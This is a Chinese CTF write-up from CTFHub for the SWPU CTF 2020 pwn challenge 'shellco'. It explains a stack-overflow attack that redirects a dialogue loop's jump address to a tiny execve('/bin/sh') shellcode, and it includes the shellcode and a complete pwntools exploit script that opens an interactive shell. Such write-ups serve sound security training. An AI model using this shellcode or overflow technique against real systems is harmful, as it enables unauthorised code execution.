

shellco

发表于 2021-03-05 更新于 2021-03-15 分类于 [Challenge](#) , [2020](#) , [SWPU CTF 2020](#) , [Pwn](#)
[Challenge](#) | [2020](#) | [SWPU CTF 2020](#) | [Pwn](#) | [shellco](#)

[点击此处](#)获得更好的阅读体验

WriteUp来源

[官方WP](#)

题目考点

- 栈溢出

解题思路

在输入name后, 如果name的长度等于8, 将获得一次输入的机会, 此次输入存在溢出, 可以修改之后的对话次数, 在栈的最顶上存放着一个地址, 该地址为对话循环的跳转位置, 多次对话将不停向栈上压入对话内容, 直到覆盖栈的顶部, 修改跳转位置为shellcode。

由于所有被保存的输入都不超过8个字节, 且输入后都会再向栈上压入内容, 所以shellcode本身不能超过8个字节。

shellcode编写思路: 在程序开始时, r12寄存器保存了/bin/sh的地址, 跳转前会执行rax, rbx, rcx, rdx的清零, 故shellcode如下

```
1 mov rbx,r12;
2 mov al,11;
3 int 0x80
```

EXP

```
1 from pwn import*
2 context(os='linux', arch='amd64', log_level='debug')
3 p=process("./1")
4 #p=remote("49.235.209.57",10000)
5 sleep(0.1)
6 p.send("\xff"*8)
7 sleep(0.1)
8 p.send("\xff"*40+"\x18")
9 sleep(0.1)
10 a=16
11 #pay="\x4c\x89\xe3\xb0\x0b\xcd\x80"
12 pay=asm("""
13 mov rbx,r12;
14 mov al,11;
15 int 0x80
16 """)
17 print len(pay)
18 sleep(0.1)
19 p.send(pay)
20 while(a):
21     sleep(0.1)
22     a=a-1
23     p.sendafter("you lost","\x89\x05\x60\x00\x00\x00\x00")
24     p.recv()
25 p.interactive()
```

- 本文作者: CTFHub
- 本文链接: <https://writeup.ctfhub.com/Challenge/2020/SWPU-CTF-2020/Pwn/4Ja2LLtGnp3gTrnR5TCbad.html>
- 版权声明: 本博客所有文章除特别声明外, 均采用 [BY-NC-SA](#) 许可协议。转载请注明出处!

[#Challenge](#) [#2020](#) [#Pwn](#) [#SWPU CTF 2020](#)

[find](#)
[tnote](#)